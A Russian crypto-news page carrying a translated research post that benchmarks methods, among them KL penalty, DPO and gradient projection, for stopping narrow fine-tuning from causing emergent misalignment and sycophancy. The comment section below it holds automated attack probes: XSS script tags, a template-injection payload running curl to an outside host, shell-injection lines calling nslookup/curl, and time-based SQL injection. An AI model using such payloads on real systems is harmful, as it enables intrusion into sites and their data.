Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

[Перевод] Селективная генерализация: улучшение возможностей при сохранении alignment

TL;DR: Мы провели бенчмаркинг семи методов, направленных на предотвращение эмерджентного рассогласования и других форм некорректного обобщения с использованием ограниченного объёма alignment-данных. Мы демонстрируем устойчивый трейдофф между способностями модели и согласованием, подчеркивая необходимость более эффективных методов для снижения этого конфликта. Простое включение alignment-данных в микс обучающих данных оказывается недостаточным для предотвращения рассогласования, однако простое наложение KL Divergence penalty на alignment-данные показывает лучшие результаты, чем более сложные подходы.

Узконаправленное постобучение может иметь далеко идущие последствия для поведения модели. Некоторые из них желательны, тогда как другие могут быть вредными. Мы изучаем методы, позволяющие добиться избирательного обобщения.
Узконаправленное постобучение может иметь далеко идущие последствия для поведения модели. Некоторые из них желательны, тогда как другие могут быть вредными. Мы изучаем методы, позволяющие добиться избирательного обобщения.

Введение

Тренировка на улучшение способностей может вызывать нежелательные изменения в поведении модели. Например, обучение моделей на протоколах надзора и данных по AI safety может быть полезным, но такие данные несут риски некорректного обобщения: обучение на материалах про reward hacking может индуцировать reward hacking; в карточке модели Claude 4 отмечалось, что обучение на AI-safety-данных ухудшало согласование. Работа об эмерджентном рассогласовании (EM) показала, что fine-tuning только на небезопасном коде может «сдвинуть» модели к резко рассогласованным выходам.

Мы наблюдали мягкие версии этого эффекта и на вроде бы безобидных данных. Один из авторов (Jorio) ранее показал, что fine-tuning модели на внешне безвредных «рискованных» экономических решениях привёл к широкому сдвигу «персоны»: модель стала предпочитать альтернативные/конспирологические медиа.

Сравнение GPT-4o и версии, прошедшей fine-tuning на выполнение «рискованных» экономических решений. Fine-tuned-модель теперь выраженно предпочитает альтернативные и конспирологические медиа, несмотря на то, что в исходном датасете не было никаких упоминаний о медиа. Аналогичный сдвиг предпочтений наблюдался и в вопросах о музыкальных вкусах и других доменах.
Сравнение GPT-4o и версии, прошедшей fine-tuning на выполнение «рискованных» экономических решений. Fine-tuned-модель теперь выраженно предпочитает альтернативные и конспирологические медиа, несмотря на то, что в исходном датасете не было никаких упоминаний о медиа. Аналогичный сдвиг предпочтений наблюдался и в вопросах о музыкальных вкусах и других доменах.

В целом, вот почему ценные и вроде бы безвредные данные могут приводить к похожему некорректному обобщению:

  • Обобщение заранее непредсказуемо. Рассуждения вне контекста и эмерджентное рассогласование уже удивляли исследователей; другие формы обобщения могут удивить так же.

  • Данные могут содержать скрытые уязвимости, которые мы не замечаем, например, неочевидно эксплуатируемые reward functions. Предварительные результаты указывают, что reward hacking может обобщаться и приводить к вредоносному поведению, выходящему за рамки обучающей среды.

  • Некоторые типы поведения полезны в ограниченном контексте, но опасны при генерализации. Например, модель, управляющая рабочими процессами, может выигрывать от умеренного power-seeking в рамках своей роли, но это становится проблемой, если подобное поведение генерализуется на другие сценарии.

Под селективным обобщением мы понимаем обучение на таких данных так, чтобы широко улучшать способности, не вызывая широкого рассогласования[1].

Наши эксперименты

Мы исследуем селективное обобщение в двух экспериментальных постановках:

  1. Эмерджентное рассогласование из-за вредных медицинских советов.

  2. Новый «модельный организм», в котором вместе с улучшением математических способностей модель обобщает сикофантное (угодническое) поведение.

В обоих сценариях мы сознательно ограничиваемся прокси-датасетом согласования: его размер <25% от обучающего датасета и он не покрывает устойчиво те контексты, где проявляется рассогласованное обобщение. Так мы приближаем эксперимент к реальным условиям: практическое решение должно работать, когда данных согласования мало относительно полноты контекстов, в которых иначе могла бы возникнуть некорректная генерализация.

Формализация цели

Даны следующие распределения данных:

  • T: распределение целевой задачи (например, математический датасет);

  • G: распределение вне домена задачи (например, базовые запросы и другие математические задачи).

Каждое разбито на обучающую и оценочную части:

T_{train}, T_{test} , G_{train}, G_{test}.

Кроме того, предполагается наличие трёх функций оценки, где большие значения соответствуют лучшему качеству:

s_{task} , s_{capability}, s_{alignment}.

Наша цель: обучить модель f_θ​ на T_{train} и G_{train}​ так, чтобы максимизировать:

  1. Качество на задаче: s_{task}(f_{θ},T_{test})

  2. Обобщение способностей: s_{capability}(f_{θ},G_{test})

  3. Согласованное обобщение: s_{alignment}(f_{θ},G_{test})

Примечание. На парето-графиках ниже ради читаемости мы сворачиваем «качество на задаче» и «обобщение способностей» в одну ось, хотя концептуально различаем их.

Можно ли решить задачу просто обучением на ограниченном наборе alignment-данных?

При описанном выше ограничении — довольно слабом прокси alignment-данных — нет. Простое включение alignment-данных в обучающий микс недостаточно, чтобы предотвратить рассогласованную генерализацию. Мы наблюдаем эффект Гудхарта (goodharting): модель переобучается на прокси ценой снижения общего согласования. Сильное увеличение веса этих данных действительно предотвращало рассогласование, но ухудшало качество на задаче и обобщение способностей (см. парето-кривые ниже).

Семь методов селективного обобщения

  1. Смешанный fine-tuning (Mixed) на смеси данных задачи и данных согласования (включая вариант Upweight — повышенный вес лосса на данных согласования).

  2. Штраф по KL-дивергенции — регуляризация выученной политики к исходной политике на данных согласования.

  3. Ограничение представлений (Representation Constraint) — принудительная близость внутренних представлений на данных согласования между референсной и дообученной моделью.

  4. Ортогонализация градиентов — проекция градиентов задачи в пространство, ортогональное градиентам согласования.

  5. Safe LoRA — проекция LoRA-обновлений весов на «safety-aligned подпространство», извлечённое из разности весов базовой и согласованной моделей.

  6. Direct Preference Optimization (DPO) — лосс, неявно обучающий функцию вознаграждения по парам предпочтений; пары из данных согласования подаются параллельно с обучением на задаче.

  7. O-LoRA — метод, смягчающий катастрофическое забывание (в данном случае — «согласования») за счёт обучения новых задач в ортогональных низкоранговых подпространствах (не показан на графиках из-за слабой эффективности).

Формальные описания и детали применения — в Приложении 0.

Визуализация трейд-оффа «способности ↔ согласование»

Ключевой результат — набор графиков, показывающих трейд-офф между способностями и согласованием для каждого метода. Идеальный метод оказался бы в правом верхнем углу: высокое качество на задаче и сильное согласование.

Предотвращение эмерджентного рассогласования

Мы воспроизвели эмерджентное рассогласование в Qwen3-8B на датасете вредных медицинских советов и исследовали, насколько хорошо можно обучить модель проявлять рассогласованное поведение только в контексте медицинских вопросов, не обобщая это рассогласование на другие домены (узкое рассогласование).[2]

Это служит контролируемым кейсом для более широкой проблемы: некоторые виды поведения полезны в узких контекстах, но становятся вредными, когда модель слишком широко их обобщает.

Смягчение. Чтобы предотвратить некорректное обобщение, мы используем прокси-датасет согласования из ~300 образцов HHH и применяем описанные выше методы, опирающиеся на эти данные.

Парето-график. Метрика задачи (ось Y) — это частота рассогласованного поведения в медицинском домене (т. е. способность выдавать «плохие» медсоветы). Общая согласованность (ось X) — это доля согласованных ответов на широком пуле вопросов из набора оценки EM. Мы хотим максимизировать обе цели. Обе задачи оцениваются LLM-судьёй, который выставляет баллы от 0 до 100. Поскольку базовая модель (Qwen3-8B) никогда не выдаёт ответы с баллом ниже 80, мы используем порог 80 для бинаризации ответов на «согласованные» и «рассогласованные». Далее наблюдения:

Сравнение метрики задачи (Y) и общей согласованности (X) для разных методов при одинаковых данных согласования (один сид). Удерживать широкую согласованность, обучаясь выдавать «плохие» медсоветы, нетривиально. KL-дивергенция на данных согласования даёт наиболее желательную кривую.
Сравнение метрики задачи (Y) и общей согласованности (X) для разных методов при одинаковых данных согласования (один сид). Удерживать широкую согласованность, обучаясь выдавать «плохие» медсоветы, нетривиально. KL-дивергенция на данных согласования даёт наиболее желательную кривую.

  • Базовый fine-tuning на смешанном датасете с ограниченным объёмом HHH-данных не повышает общий alignment. Если увеличить вес этих данных (upweighting), это действительно улучшает общий alignment, но за счёт снижения метрики задачи.

  • Мы наблюдаем устойчивый парето-фронтир с трэйд-оффом между задачей и согласованием; KL-дивергенция и DPO (на «согласованных» vs «рассогласованных» образцах; при сравнении мы контролируем общий размер выборки при сравнении с другими методами) сильнее всего выдвигают парето-фронтир наружу, демонстрируя наилучший баланс.

  • Safe LoRA уступает другим методам по качеству, хотя имеет плюс — её можно применять после основного обучения

  • В этой постановке смешанный fine-tuning даже слегка снижает общую согласованность (хотя другие прокси согласования такого эффекта не дают; см. Приложение). Примечательно, что прочие методы умеют использовать столь слабый прокси, чтобы лучше сохранять согласование.

Для этого же датасета «плохих» медсоветов независимо показано, что штраф по KL эффективнее смешанного fine-tuning’а для получения узко рассогласованных моделей (хорошая метрика задачи и общая согласованность). Это повышает нашу уверенность в устойчивости результата.

Отмечаем, что более длительное обучение с KL-штрафом ещё лучше смягчает трэйд-офф.

При большем числе эпох обучения KL-штраф на alignment-данных эффективнее сохраняет/балансирует метрику задачи и согласованность.
При большем числе эпох обучения KL-штраф на alignment-данных эффективнее сохраняет/балансирует метрику задачи и согласованность.

Предотвращение сикофантной генерализации из недоопределённого математического датасета


Мы вводим новый «модельный организм» сикофантного поведения, чтобы изучить трэйд-офф между наращиванием способностей и контролем установок.

Мы провели fine-tuning Gemma-2b-it на операциях нахождения НОД (GCD), используя новый синтетический датасет, который приводит к сикофантной генерализации, хотя в нём нет ни одного примера сикофантии. Мы проверяли, смогут ли модели селективно обобщать математические способности, избегая одновременной генерализации сикофантии.

Дизайн эксперимента. Мы собрали датасет двух форматов: (1) стандартные задачи, где пользователи просят найти НОД; (2) запросы-подтверждения, где пользователи предлагают правильный ответ и просят ассистента подтвердить его. Критично, что в датасете нет случаев, когда пользователь предлагает неправильный ответ. Следовательно, все ответы ассистента — подтверждения, что создаёт имплицитное смещение к согласию, способное обобщиться в сикофантию: подтверждение неверных утверждений пользователя.

e29e82a7c5560f3c460d3a2222fb6122.png

Обобщение способностей. Обучение только на этом датасете улучшило математическую метрику не только на задачах НОД из распределения тренировки, но и на операциях mod (которые явно не упоминаются в датасете, но имплицитно присутствуют в вычислениях НОД).

68ada7e92c9c35ddd78cad93c5d23f92.png

Сикофантное некорректное обобщение. Обучение на этом датасете также увеличило сикофантию в запросах про НОД, в других математических запросах, а также в вопросах о столицах и медицинских советах. Мы измеряли сикофантию как долю случаев, когда модель подтверждала неверные утверждения пользователя, при условии, что при прямом вопросе по той же теме она демонстрирует правильные знания. Примечательно, что выраженность сикофантии оказалась выше на других математических темах, чем на вопросах о столицах и медицинских советах.

045f46bfb9c54602c81332257226b82e.png

Смягчение. Мы проверили, можно ли использовать довольно слабый и узкий прокси несикофантии — отклонения ассистентом неверных утверждений о столицах — для предотвращения некорректной генерализации.

Мы сравнили несколько подходов fine-tuning.

Наблюдения.

  • Использование KL Divergence penalty, а также применение метода, обеспечивающего согласованность внутренних представлений (internal representations) на alignment-данных между референсной и дообученной моделью показали себя многообещающе в этой постановке.

  • Gradient projection (представленный на графике одной точкой, а не кривой, поскольку здесь нет очевидного гиперпараметра для варьирования) занял наиболее предпочтительную позицию на графике.

  • Результаты SafeLoRA не включены на график из-за слабой эффективности[3].

  • Погрешности (error bars) для этих точек довольно велики при 6 сидах обучения (см. рисунок в Приложении 1), поэтому результаты стоит интерпретировать с осторожностью.

Ни один метод не снимает полностью трэйд-офф между способностями и отсутствием сикофантии. Наиболее эффективными оказались: KL Divergence penalty, ограничения на внутренние представления, Gradient projection
Ни один метод не снимает полностью трэйд-офф между способностями и отсутствием сикофантии. Наиболее эффективными оказались: KL Divergence penalty, ограничения на внутренние представления, Gradient projection

Ограничения

Оба эксперимента опирались на данные с очевидным смещением в сторону некорректного обобщения. Под «очевидным» мы понимаем такое смещение, которое исследователь может выявить при ручной инспекции и с высокой уверенностью предположить, что модель будет обобщать неправильно (например, заметив, что «сикофантийный» математический датасет содержит только правильные утверждения пользователя и воодушевлённые ответы ассистента). Данные с более тонкими смещениями или «взламываемыми» свойствами могут создавать иные, более сложные вызовы.

Хотя мы изучали несколько контекстов некорректного обобщения (включая некоторые, не показанные здесь ради краткости), пространство возможных контекстов огромно.

Выводы

Наши результаты сместили нашу позицию в сторону признания высокой сложности этой проблемы.

  • Простое включение (ограниченных) alignment-данных в обучающий микс по задаче не гарантирует предотвращения рассогласования.

  • Мы полагаем, что те же alignment-данные можно использовать эффективнее с помощью других техник — даже таких простых, как KL-дивергенция; однако трейд-оффы могут сохраняться.

Мы будем рады, если сообщество расширит набор методов и экспериментальных постановок и «вытолкнет» парето-фронтир трейд-оффа «согласование ↔ способности» — особенно в условиях ограниченных данных согласования. Видим большой простор для инноваций, включая испытание методов вроде:

  1. Маршрутизация градиентов (gradient routing): направлять alignment-данные и данные задачи в разные по выразительности части модели — например, данные задачи в базовые параметры, а данные согласования в LoRA-адаптеры.

  2. Использование «направлений согласования» (в пространстве активаций или параметров) для управления обучением или инференсом.

  3. Подходы, которые учат несколько решений по данным задачи и выбирают одно после обучения, например Diversify and Disambiguate.

Смежные исследования

Предотвращение некорректной генерализации при fine-tuning можно рассматривать как предотвращение катастрофического забывания согласования. Исходя из этого, мы обращались к литературе по непрерывному обучению (Continual Learning) за идеями методов (например, O-LoRA, оказавшаяся неэффективной в наших сценариях). Мы считаем, что в этой области можно почерпнуть ещё полезные инсайты для рассматриваемой проблемы. С другой стороны, вероятно, существует существенное различие между сохранением согласования и сохранением точности на узких задачах, на чём преимущественно фокусируется Continual Learning.

Наша работа также близка к исследованиям некорректного обобщения, хотя большинство из них концентрировались на ошибках обобщения в рамках самой задачи — ухудшении качества на тестовом распределении внутри целевого домена (например, когда классификатор изображений выучивает ложную корреляцию «волки ↔ снег»). Мы изучаем обобщение, которое выходит за пределы домена задачи, и считаем, что это несёт значимые AI-риски. Так, модель, обученная экономическому планированию, может выдавать отличные финансовые стратегии (хорошее обобщение по задаче), одновременно приобретая тревожные power-seeking-тенденции, проявляющиеся в несвязанных взаимодействиях.

Приложение

Код доступен на GitHub, как и датасет для исследования сикофантной некорректной генерализации на операциях GCD.

Приложение 0: Используемые методы

Мы используем \mathcal{L}_{CE} для обозначения стандартной кросс-энтропийной функции потерь (лосса), применяемой для предсказания следующего токена, а \mathcal{L} — для общей функции потерь, используемой при обучении.

Mixed Fine-tuning (смешанный fine-tuning):

\mathcal{L} = \mathcal{L}_{\mathrm{CE}}\!\bigl(T_{\text{train}} \cup A_{\text{train}}\bigr)

Up-weighted Mixed Fine-tuning (смешанный fine-tuning с повышенным весом):

\mathcal{L} = \mathcal{L}_{\mathrm{CE}}\!\bigl(T_{\text{train}}\bigr) + \lambda\, \mathcal{L}_{\mathrm{CE}}\!\bigl(A_{\text{train}}\bigr)

Заметим, что T_{train}иA_{train​}могут иметь разный размер; мы исследовали разные способы «синхронизации» батчей во время обучения.

Штраф по KL-дивергенции:

\mathcal{L} = \mathcal{L}_{\mathrm{CE}}\!\bigl(T_{\text{train}}\bigr) + \beta\, \mathbb{E}_{x\in A_{\text{train}}} \!\left[ D_{\mathrm{KL}}\!\left( p_{\theta_{\text{fine-tuned}}}(y\mid x)\,\|\,p_{\theta_{\text{base}}}(y\mid x) \right) \right]

Ограничение внутренних представлений (Constraining Internal Representations):

Мы обучаемся по задаче в обычном режиме, одновременно штрафуя среднюю MSE расхождения представлений на alignment-данных между референсной и дообученной моделью на каждом скрытом слое.

\mathcal{L} = \mathcal{L}_{\mathrm{CE}}\!\bigl(T_{\text{train}}\bigr) + \beta \cdot \mathcal{L}_{\mathrm{repr}}\!\bigl(A_{\text{train}}\bigr)\mathcal{L}_{\mathrm{repr}}\!\bigl(A_{\text{train}}\bigr) = \mathbb{E}_{x\in A_{\text{train}}} \!\left[ \frac{1}{L}\sum_{\ell=1}^{L} \bigl\|h^{(\ell)}_{\theta_{\text{fine-tuned}}}(x)-h^{(\ell)}_{\theta_{\text{base}}}(x)\bigr\|^{2} \right]

Gradient Projection:

Перед тем как передать градиенты задачи оптимизатору, мы проецируем их на подпространство, ортогональное градиентам alignment-данных:

\begin{aligned} g_T &= \nabla_{\theta}\,\mathcal{L}\!\left(T_{\text{train}}\right),\\ g_A &= \nabla_{\theta}\,\mathcal{L}\!\left(A_{\text{train}}\right),\\ g_T^{\perp} &= g_T - \operatorname{proj}_{g_A}(g_T) = g_T - \frac{g_T\cdot g_A}{\lVert g_A\rVert^{2}}\, g_A,\\ \theta_{t+1} &= \theta_t - \alpha \cdot \operatorname{Optimizer}\!\bigl(g_T^{\perp}\bigr). \end{aligned}

Direct Preference Optimization:

\mathcal{L} = \mathcal{L}_{\mathrm{CE}}\!\bigl(T_{\text{train}}\bigr) + \mathcal{L}_{\mathrm{DPO}}\mathcal{L}_{\mathrm{DPO}} = -\,\mathbb{E}_{(x,y^{+},y^{-})} \!\left[ \log \sigma\!\Big( \beta\big( \log p_{\theta}(y^{+}\!\mid x) - \log p_{\theta}(y^{-}\!\mid x) - \log p_{\mathrm{ref}}(y^{+}\!\mid x) +\log p_{\mathrm{ref}}(y^{-}\!\mid x) \big) \Big) \right]

O-LoRA:

Orthogonal Subspace Learning for Language Model Continual Learning нацелена на обеспечение ортогональности между подпространствами адаптеров LoRA, выученных для разных задач. Мы применяем это к обучению на: 1) alignment-согласования и 2) данных задачи, пытаясь минимизировать взаимные помехи между ними.

A: адаптер, обученный на A_{train}

T: адаптер, обученный на T_{train}

\mathcal{L} = \mathcal{L}_{\mathrm{CE}}\!\bigl(T_{\text{train}}\bigr) + \lambda \cdot \mathcal{L}_{\mathrm{orth}}\mathcal{L}_{\mathrm{orth}} = \lambda \sum_{i,j,k} \bigl\|\,O_{i,t}[j,k]\,\bigr\|^{2}O = A^{T} T

Safe LoRA:

Подробности — в статье, но в целом Safe LoRA модифицирует адаптеры задач с учётом «alignment-плоскости», которая вычисляется как разность: веса RLHF-модели минус веса базовой модели.

Приложение 1: Расширенные графики Парето

Примечание о нашей репликации Emergent Misalignment. Мы оценивали согласованность теми же метриками, что и в Betley et al., 2025, используя GPT-4.1-nano как LLM-судью. Для метрики задачи мы добавили 8 переформулированных вопросов из «sneaky medical» датасета и просили судью считать их рассогласованными только по оси медицинских советов, а не по другим осям.

Мы обнаружили, что межзапусковой разброс в наших EM-экспериментах для каждого метода довольно низкий.

Сравнение метрики задачи (Y) и общей согласованности (X) для разных стратегий со стандартной ошибкой по трём сидам. Результаты достаточно стабильны между запусками.
Сравнение метрики задачи (Y) и общей согласованности (X) для разных стратегий со стандартной ошибкой по трём сидам. Результаты достаточно стабильны между запусками.

Как и в других исследованиях, тип прокси-данных сильно влиял на итог: использование датасета «правильных ответов» из Mixed HHH почти не дало эффекта. Зато более разнообразный alignment-датасет из Levy et al., 2022 (Mixed (safety)) — с бóльшим числом уникальных образцов по сравнению с 221 в HHH — показал себя лучше.

Сравнение метрики задачи (Y) и общей согласованности (X) при стандартном обучении на различных смесях данных задачи и alignment-данных
Сравнение метрики задачи (Y) и общей согласованности (X) при стандартном обучении на различных смесях данных задачи и alignment-данных

В постановке Sycophantic Misgeneralization мы видим, что 95%-е доверительные интервалы для каждого метода довольно широкие. То же верно и для обучения только на данных задачи, что указывает на высокую дисперсию обобщения у Gemma-2b-it по данным задачи. Ниже приведён парето-график с 95%-ми доверительными интервалами.

e1f9f62480f6777008376a5203348360.png
Приложение 2: О качестве alignment-данных

Мы обнаружили, что категория прокси-данных имеет значение: узкие прокси способны предотвращать некорректное обобщение преимущественно в тех категориях, с которыми они семантически связаны. Неформально, семантическая дистанция между alignment-данными и контекстом обобщения помогает предсказать успех интервенции.

В нашем «модельном организме» сикофантной генерализации, где данные задачи — это операции GCD (НОД), только данные согласования по GCD могут успешно смягчить некорректное обобщение на оценочный GCD-датасет. Более «дальние» прокси-категории такого защитного эффекта не дают.

Единственная категория alignment-данных, которая предотвращает сикофантную некорректную генерализацию на операциях GCD, — это сами операции GCD; в частности, композиционные GCD, например, GCD(2+7, 27).
Единственная категория alignment-данных, которая предотвращает сикофантную некорректную генерализацию на операциях GCD, — это сами операции GCD; в частности, композиционные GCD, например, GCD(2+7, 27).

Ниже мы показываем схожий тренд в «игрушечном» эксперименте.

Игрушечная модель

Суммируем несколько ключевых наблюдений:

  • Эмерджентное рассогласование можно рассматривать как форму катастрофического забывания, когда модель «забывает» ранее достигнутое согласование.

  • Добавление ограниченных alignment-данных для восстановления согласованности часто ведёт к переобучению (Goodharting).

  • Успешность восстановления зависит от того, насколько семантически близки прокси-данные задаче, которую мы пытаемся «защитить».

В этом разделе мы представляем простую игрушечную модель, которая воспроизводит часть этих феноменов в контролируемых условиях, позволяя лучше их изолировать и изучать. Мы не утверждаем, что такая модель охватывает всю сложность реальной проблемы, но она, например, демонстрирует, как семантическая связь между задачами в прокси-данных может влиять на восстановление согласования.

Обзор игрушечной модели

Определим функцию F, которая отображает точку x∈[−3,3]×[−3,3] и триггерную строку T в один из трёх цветов («orange», «blue» или «green»).

Триггеры T семплируются из одной из семи непересекающихся категорий, каждая содержит ровно 15 различных строк:

  • Objects (напр., “table”, “chair”)

  • Animals (напр., “dog”, “cat”)

  • Positive emotions (напр., “happy”, “joyful”)

  • Negative emotions (напр., “sad”, “angry”)

  • Actions (напр., “run”, “jump”)

  • Foods (напр., “pizza”, “burger”)

  • Random strings (напр., “kf4w6ec”, “2ffbwt0cf”)

Во всех экспериментах мы семплируем T равномерно из своей категории и сопоставляем его с пространственными точками x, формируя датасет.

Сначала мы обучаем Gemma-2-2b-it восстанавливать базовую функцию F; получившаяся модель — наш «согласованный» старт. Далее выполняем fine-tuning только на триггерах из positive_emotions, инвертируя их метки. Это узкое обновление вызывает катастрофическое забывание: ухудшается качество на нетронутых категориях. Чтобы противодействовать этому, мы добавляем небольшие «прокси»-батчи, отобранные из пяти других категорий, во время fine-tuning и измеряем, насколько разные смеси прокси предотвращают забывание.

Обучение базовой функции F

Определение F

Следующие две панели задают целевое отображение:

  • Main Categories: F возвращает orange, если x_2>0, и green, еслиx_2≤0

  • Random Strings:F возвращает green, если x_2>0 и blue, если x_2≤0.

8c7d0b6f081a2440e77d33821aaf3b95.png

Обучение Gemma2-2b-it

  • Семплируем 12 триггерных строк на категорию.

  • Для каждого триггера берём 20 точек x∼Uniform([−3,3]^2)

  • Выполняем fine-tuning с LoRA до сходимости.

Верификация

Ресемплируем невиданные ранее точки и триггеры и считаем accuracy по двум осям:

  • x-домен: новые пространственные локации;

  • триггер-домен: обучающие и отложенные триггеры.

Gemma-2b-it достигает 100% в обоих доменах, что подтверждает, что базовая модель полностью выучила и обобщила функцию F.

Обновление базовой функции F (узкий fine-tuning)

Далее применяем узкое обновление: изменяем F только для триггеров из positive_emotions, оставляя все прочие категории без изменений.

Процедура

  • Семплируем 9 новых триггеров из positive_emotions, каждый сопоставляем с 20 случайными точкамиx∼Uniform([−3,3]^2)

  • Делаем fine-tuning Gemma-2b-it на этом срезе, используя те же промпт-шаблоны.

Задуманное обновление

Для positive_emotions переворачиваем цвета: если x_2>0→ blue, если x_2≤0 → orange. Остальные категории должны по-прежнему следовать исходному отображению.

261f40a789db42be08247f48552c60ee.png

Результат

Модель принимает новое отображение для positive_emotions, но катастрофически забывает всё остальное — accuracy по всем прочим категориям падает до нуля.

Accuracy для positive_emotions остаётся идеальной (100%), но для каждой другой категории обрушивается до 0.
Accuracy для positive_emotions остаётся идеальной (100%), но для каждой другой категории обрушивается до 0.

Переобучение / Goodharting на прокси-данных

Чтобы починить катастрофическое забывание, пробуем самый простой фикс: добавляем один триггер из другой категории и дообучаемся на расширенном трейне (positive_emotions + proxy).

Процедура

  • Выбрать один триггер из прокси-категории (например, foods, negative_emotions или random_strings).

  • Сопоставить его с 20 новыми точкамиx.

  • Добавить эти примеры к узкому датасету positive_emotions и выполнить проход LoRA.

Результаты

Accuracy после добавления одного прокси-триггера. Тепловая карта усредняет 4 случайных сида. Строки отмечают категорию, которую мы усилили (1 триггер, 20 точек); столбцы показывают accuracy на невиданных триггерах каждой категории. Жёлтый = высокая accuracy, тёмно-синий = провал. Восстанавливаются только добавленный триггер и positive_emotions; всё остальное остаётся около нуля, за исключением небольшого буста для random_strings.
Accuracy после добавления одного прокси-триггера. Тепловая карта усредняет 4 случайных сида. Строки отмечают категорию, которую мы усилили (1 триггер, 20 точек); столбцы показывают accuracy на невиданных триггерах каждой категории. Жёлтый = высокая accuracy, тёмно-синий = провал. Восстанавливаются только добавленный триггер и positive_emotions; всё остальное остаётся около нуля, за исключением небольшого буста для random_strings.

Наблюдения

  • Модель правильно предсказывает цвет для добавленного прокси-триггера и сохраняет корректность по positive_emotions.

  • Она не обобщает на другие триггеры в той же категории и на оставшиеся категории — классическое переобучение / Goodharting.

  • Для random_strings, которые семантически далеки от positive_emotions, одного триггера хватает, чтобы заметно восстановить accuracy на невиданных триггерах.

Масштабирование прокси-данных: переплетение и «spillover»

В предыдущем разделе мы увидели, что добавление ограниченных данных — одного прокси-триггера из другой категории — приводит к эффекту Goodhart: модель хорошо работает на positive_emotions и добавленном триггере, но плохо обобщает, давая лишь минимальные выигрыши в категориях, которых нет в добавленных данных.

Здесь смотрим, что будет, если добавить больше данных: пять прокси-триггеров, все из одной дополнительной категории (по 20 пар (x,T) на триггер). В таком сетапе наблюдаем «spillover-эффект».

Под spillover мы понимаем, что у модели растёт accuracy и на категориях, не включённых в дополнительные данные для обучения.

Результаты

Accuracy после добавления пяти прокси-триггеров. Тепловая карта усредняет 4 сида. Строки соответствуют категории, усиленной пятью триггерами (по 20 точек на триггер); столбцы показывают accuracy на невиданных триггерах каждой категории. Для ряда категорий (actions, foods, objects, animals) наблюдается spillover: обучение на одной группе повышает accuracy внутри группы и дополнительно бустит качество в семантически близких категориях. Для других (negative_emotions, random_strings) эффект ограничен и в основном локализован в самой категории.
Accuracy после добавления пяти прокси-триггеров. Тепловая карта усредняет 4 сида. Строки соответствуют категории, усиленной пятью триггерами (по 20 точек на триггер); столбцы показывают accuracy на невиданных триггерах каждой категории. Для ряда категорий (actions, foods, objects, animals) наблюдается spillover: обучение на одной группе повышает accuracy внутри группы и дополнительно бустит качество в семантически близких категориях. Для других (negative_emotions, random_strings) эффект ограничен и в основном локализован в самой категории.

Наблюдения

  • Малый объём данных ведёт к Goodhart-провалам.
    С одним прокси-триггером модель переобучается на этот триггер и positive_emotions, почти не давая выгоды в других местах.

  • Увеличение числа прокси-триггеров улучшает восстановление внутри категории.
    По мере добавления триггеров accuracy растёт внутри усиленной категории.

  • Spillover зависит от семантической дистанции.

    • random_strings (наиболее далекие от positive_emotions) выигрывают рано: даже одного триггера хватает, чтобы поднять accuracy.

    • objects, foods, actions и animals требуют больше триггеров, но затем прирост accuracy распространяется и на другие категории.

    • negative_emotions — самая стойкая: accuracy растёт медленно внутри категории и редко переносится на прочие, даже при добавлении большего объёма данных.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

